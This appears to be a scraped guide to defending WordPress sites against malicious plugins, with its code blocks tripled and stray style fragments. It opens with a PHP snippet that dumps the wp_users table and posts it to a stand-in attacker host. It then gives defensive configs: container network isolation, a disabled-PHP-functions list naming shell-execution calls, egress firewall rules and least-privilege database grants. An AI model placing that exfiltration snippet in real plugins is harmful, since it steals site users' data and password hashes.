$ // A "simple" contact form plugin could do this
// and WordPress wouldn't blink
global $wpdb;
$users = $wpdb->get_results("SELECT * FROM wp_users");
file_put_contents('/tmp/dump.txt', json_encode($users));
wp_remote_post('https://evil.example.com/collect', [ 'body' => json_encode($users)
]);
// A "simple" contact form plugin could do this
// and WordPress wouldn't blink
global $wpdb;
$users = $wpdb->get_results("SELECT * FROM wp_users");
file_put_contents('/tmp/dump.txt', json_encode($users));
wp_remote_post('https://evil.example.com/collect', [ 'body' => json_encode($users)
]);
// A "simple" contact form plugin could do this
// and WordPress wouldn't blink
global $wpdb;
$users = $wpdb->get_results("SELECT * FROM wp_users");
file_put_contents('/tmp/dump.txt', json_encode($users));
wp_remote_post('https://evil.example.com/collect', [ 'body' => json_encode($users)
]);
# -weight: 500;">docker-compose.yml
services: wordpress: image: wordpress:6.5-php8.2-apache volumes: - wp_content:/var/www/html/wp-content # only wp-content is writable read_only: true tmpfs: - /tmp - /run/apache2 deploy: resources: limits: memory: 512M cpus: '1.0' environment: # -weight: 500;">disable dangerous PHP functions PHP_INI_SCAN_DIR: ":/usr/local/etc/php/conf.d/custom" networks: - internal - web # only this network reaches the internet db: image: mariadb:11 networks: - internal # database is NOT accessible from the web network volumes: - db_data:/var/lib/mysql networks: internal: internal: true # no external access web:
# -weight: 500;">docker-compose.yml
services: wordpress: image: wordpress:6.5-php8.2-apache volumes: - wp_content:/var/www/html/wp-content # only wp-content is writable read_only: true tmpfs: - /tmp - /run/apache2 deploy: resources: limits: memory: 512M cpus: '1.0' environment: # -weight: 500;">disable dangerous PHP functions PHP_INI_SCAN_DIR: ":/usr/local/etc/php/conf.d/custom" networks: - internal - web # only this network reaches the internet db: image: mariadb:11 networks: - internal # database is NOT accessible from the web network volumes: - db_data:/var/lib/mysql networks: internal: internal: true # no external access web:
# -weight: 500;">docker-compose.yml
services: wordpress: image: wordpress:6.5-php8.2-apache volumes: - wp_content:/var/www/html/wp-content # only wp-content is writable read_only: true tmpfs: - /tmp - /run/apache2 deploy: resources: limits: memory: 512M cpus: '1.0' environment: # -weight: 500;">disable dangerous PHP functions PHP_INI_SCAN_DIR: ":/usr/local/etc/php/conf.d/custom" networks: - internal - web # only this network reaches the internet db: image: mariadb:11 networks: - internal # database is NOT accessible from the web network volumes: - db_data:/var/lib/mysql networks: internal: internal: true # no external access web:
; custom-security.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source,eval ; restrict where PHP can read/write files
open_basedir = /var/www/html/:/tmp/ ; prevent URL-based file includes
allow_url_include = Off
allow_url_fopen = Off
; custom-security.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source,eval ; restrict where PHP can read/write files
open_basedir = /var/www/html/:/tmp/ ; prevent URL-based file includes
allow_url_include = Off
allow_url_fopen = Off
; custom-security.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source,eval ; restrict where PHP can read/write files
open_basedir = /var/www/html/:/tmp/ ; prevent URL-based file includes
allow_url_include = Off
allow_url_fopen = Off
#!/bin/bash
# allow-outbound.sh — restrict WordPress container to known-good domains # Flush existing rules for the wordpress chain
iptables -F WORDPRESS_OUT 2>/dev/null || iptables -N WORDPRESS_OUT # Allow DNS resolution
iptables -A WORDPRESS_OUT -p udp --dport 53 -j ACCEPT
iptables -A WORDPRESS_OUT -p tcp --dport 53 -j ACCEPT # Allow WordPress.org (updates and plugin repo)
iptables -A WORDPRESS_OUT -d api.wordpress.org -j ACCEPT
iptables -A WORDPRESS_OUT -d downloads.wordpress.org -j ACCEPT # Add your specific allowed domains here
# iptables -A WORDPRESS_OUT -d your-api.example.com -j ACCEPT # Drop everything else
iptables -A WORDPRESS_OUT -p tcp --dport 80 -j DROP
iptables -A WORDPRESS_OUT -p tcp --dport 443 -j DROP
#!/bin/bash
# allow-outbound.sh — restrict WordPress container to known-good domains # Flush existing rules for the wordpress chain
iptables -F WORDPRESS_OUT 2>/dev/null || iptables -N WORDPRESS_OUT # Allow DNS resolution
iptables -A WORDPRESS_OUT -p udp --dport 53 -j ACCEPT
iptables -A WORDPRESS_OUT -p tcp --dport 53 -j ACCEPT # Allow WordPress.org (updates and plugin repo)
iptables -A WORDPRESS_OUT -d api.wordpress.org -j ACCEPT
iptables -A WORDPRESS_OUT -d downloads.wordpress.org -j ACCEPT # Add your specific allowed domains here
# iptables -A WORDPRESS_OUT -d your-api.example.com -j ACCEPT # Drop everything else
iptables -A WORDPRESS_OUT -p tcp --dport 80 -j DROP
iptables -A WORDPRESS_OUT -p tcp --dport 443 -j DROP
#!/bin/bash
# allow-outbound.sh — restrict WordPress container to known-good domains # Flush existing rules for the wordpress chain
iptables -F WORDPRESS_OUT 2>/dev/null || iptables -N WORDPRESS_OUT # Allow DNS resolution
iptables -A WORDPRESS_OUT -p udp --dport 53 -j ACCEPT
iptables -A WORDPRESS_OUT -p tcp --dport 53 -j ACCEPT # Allow WordPress.org (updates and plugin repo)
iptables -A WORDPRESS_OUT -d api.wordpress.org -j ACCEPT
iptables -A WORDPRESS_OUT -d downloads.wordpress.org -j ACCEPT # Add your specific allowed domains here
# iptables -A WORDPRESS_OUT -d your-api.example.com -j ACCEPT # Drop everything else
iptables -A WORDPRESS_OUT -p tcp --dport 80 -j DROP
iptables -A WORDPRESS_OUT -p tcp --dport 443 -j DROP
-- Create a restricted user for WordPress runtime
CREATE USER 'wp_web'@'%' IDENTIFIED BY 'strong_random_password'; -- Grant only what WordPress actually needs day-to-day
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_posts TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_postmeta TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_comments TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_options TO 'wp_web'@'%';
GRANT SELECT ON wordpress.wp_users TO 'wp_web'@'%';
-- Note: wp_users only gets SELECT — no bulk export of password hashes -- Use a separate admin user for wp-admin tasks with full grants
-- Only active during maintenance windows
-- Create a restricted user for WordPress runtime
CREATE USER 'wp_web'@'%' IDENTIFIED BY 'strong_random_password'; -- Grant only what WordPress actually needs day-to-day
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_posts TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_postmeta TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_comments TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_options TO 'wp_web'@'%';
GRANT SELECT ON wordpress.wp_users TO 'wp_web'@'%';
-- Note: wp_users only gets SELECT — no bulk export of password hashes -- Use a separate admin user for wp-admin tasks with full grants
-- Only active during maintenance windows
-- Create a restricted user for WordPress runtime
CREATE USER 'wp_web'@'%' IDENTIFIED BY 'strong_random_password'; -- Grant only what WordPress actually needs day-to-day
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_posts TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_postmeta TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_comments TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_options TO 'wp_web'@'%';
GRANT SELECT ON wordpress.wp_users TO 'wp_web'@'%';
-- Note: wp_users only gets SELECT — no bulk export of password hashes -- Use a separate admin user for wp-admin tasks with full grants
-- Only active during maintenance windows - Read and write to your entire database (including wp_users)
- Access the filesystem with the same permissions as your web server
- Make arbitrary outbound HTTP requests
- Execute system commands if exec() or shell_exec() aren't disabled
- Hook into any other plugin or theme's execution - "Only -weight: 500;">install plugins from the official repository." Sure, but the official repo has had supply chain compromises. Plugins get sold to new owners who inject malicious code. It happened with Display Widgets in 2017, and variants of this attack keep recurring.
- "Keep everything updated." Updates can introduce vulnerabilities. An -weight: 500;">update pushed to a compromised plugin propagates the attack to every site running it.
- "Use a Web Application Firewall." WAFs catch known attack patterns in HTTP requests. They don't -weight: 500;">stop a plugin from misusing its legitimate server-side access.
- "Audit the code yourself." Realistic for one or two plugins. Most WordPress sites run 15-30 plugins. Nobody's auditing all of that. - Check the plugin's last -weight: 500;">update date. Abandoned plugins are prime targets for acquisition attacks. If it hasn't been updated in 12+ months, think twice.
- Search the plugin name + "vulnerability" on WPScan. The WPScan Vulnerability Database is free and covers most popular plugins.
- Review the plugin's readme.txt for required permissions. If a contact form plugin says it needs manage_options capability, that's a red flag.
- Run grep -r 'wp_remote_post\|wp_remote_get\|file_get_contents\|curl_' wp-content/plugins/new-plugin/ before activating. See what external calls it makes.
- Monitor outbound connections in production. Tools like tcpdump or a network monitoring container can catch unexpected traffic early.